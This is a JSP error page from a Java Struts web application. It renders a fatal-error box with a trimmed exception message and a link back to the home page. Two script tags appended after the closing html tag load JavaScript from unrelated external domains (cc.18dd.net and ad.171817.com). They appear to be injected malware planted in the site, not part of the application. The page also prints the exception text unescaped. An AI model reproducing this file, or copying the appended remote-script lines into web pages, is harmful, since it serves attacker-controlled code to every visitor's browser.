<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<%@ page isErrorPage="true" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
String errorMsg = "";
String trimErrorMsg = "";

if(exception!=null)
	errorMsg=exception.getMessage();

if(errorMsg!=null && errorMsg.length() > 200){
 trimErrorMsg = errorMsg.substring(0,200) + "...";
}else{
 trimErrorMsg = "";
}
%>
<html>
<head>
	<link rel="stylesheet" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css">
</head>
<body>
<table width="500" border="0" cellspacing="0" cellpadding="0">
  <tr align="left" valign="top"> 
    <td height="37" colspan="3" background='<html:img src='LayoutErrorBoxTop.gif'  pathOnly='true'/>' valign='middle' align='left'><html:img src='LayoutSpacer.gif' width='280' height='10' />
	<font class="pageTitle"><bean:message key='errors.framework.fatal_error'/></font>
    </td>
  </tr>
  <tr align="left" valign="top"> 
    <td><html:img src='LayoutErrorBoxAlert.gif' /></td>
    <td width="356" height="186" background='<html:img src='LayoutErrorBoxContent.gif'  pathOnly='true'/>'>
	<font class="pageTitle"><bean:message key='errors.framework.errorbox_msg'/>
        <br><br><br>
	<%=trimErrorMsg%></font></td>
    <td width="38" align="right"><html:img src='LayoutErrorBoxRight.gif' /></td>
  </tr>
  <tr align="left" valign="top"> 
    <td width="105" height="56"><html:img src='LayoutErrorBoxBottomLeft.gif'  /> 
    </td>
    <td><table width="356" height="60" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="273" height="60" background="<html:img src='LayoutErrorBoxBottom.gif'  pathOnly='true'/> "></td>
          <td><table width="82" height="60" border="0" cellpadding="0" cellspacing="0">
              <tr>
                <td align="left" valign="top"><html:img src='LayoutErrorReturnTop.gif'  /></td>
              </tr>
              <tr>
                <td align="left" valign="top"><a href="<%=request.getContextPath()%>/Home.do"><html:img src='ButtonErrorBoxReturn.gif' border='0'/></a></td>
              </tr>
              <tr>
                <td align="left" valign="top"><html:img src='LayoutErrorReturnBottom.gif' /></td>
              </tr>
            </table></td>
        </tr>
      </table></td>
    <td><html:img src="LayoutErrorBoxBottomRight.gif"  /></td>
  </tr>
</table>
<body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>